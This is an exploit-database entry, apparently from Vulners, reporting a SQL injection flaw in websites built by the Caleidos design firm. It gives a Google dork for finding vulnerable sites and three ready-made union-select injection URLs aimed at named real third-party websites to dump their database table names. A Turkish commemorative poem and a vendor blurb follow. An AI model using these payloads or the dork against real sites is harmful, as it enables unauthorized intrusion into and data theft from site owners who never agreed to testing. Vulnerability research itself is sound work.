`
# Exploit Title: Caleidos Blind SQL Injection Vulnerability
# Google Dork: intext:"WebDesign by www.caleidos.ws" inurl:php?id=
# Date: 22.10.2011
# Author: m3rciL3Ss
# Service Link: http://www.caleidos.ws/it/web-design.php
# Version:
# Category: webapps
################################
# Demo site:
===[ SQL ]===
[»] http://www.lemacine-ferrara.it/en/news-dett.php?id=-17+and+1=1+union+select+0,1,2,3,4,5,6,group_concat%28table_name%29,8,9,10,11,12,13,14,15+from+information_schema.tables
[»] http://www.siragroup.it/es/sistema-de-calefaccion.php?id=-35+and+1=1+union+select+0,1,2,3,4,5,6,group_concat%28table_name%29+from+information_schema.tables
[»] http://www.explorercases.com/news2.php?id_news=-45+and+1=1+union+select+0,1,2,3,4,5,6,7,8,9,group_concat%28table_name%29,11,12+from+information_schema.tables
============================
Note : Number of Column May Vary
################################
m3rciL3Ss.blogspot.com
twitter.com/_m3rciL3Ss
################################
Utanýyorum Þehidim,
Utanýyorum.
Yemekten,
Ýçmekten,
Senin Annen Aðlarken,
Gülmekten Utanýyorum!
Sanma ki;
Unutuyor,
Unutturuyoruz.
Unutanlarý Barýndýrmaktan Utanýyorum.
Sen; Vatan Ýçin Bizim Ýçin Þehit Olurken,
Seni Görmezden Gelenlerden Utanýyorum...
Aziz Nesin
ALLAH Tüm ÞEHÝTLERÝMÝZÝN Mekanýný Cennet Eylesin
AÝLELERÝNE Sonsuz Sabýr Versin
################################
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation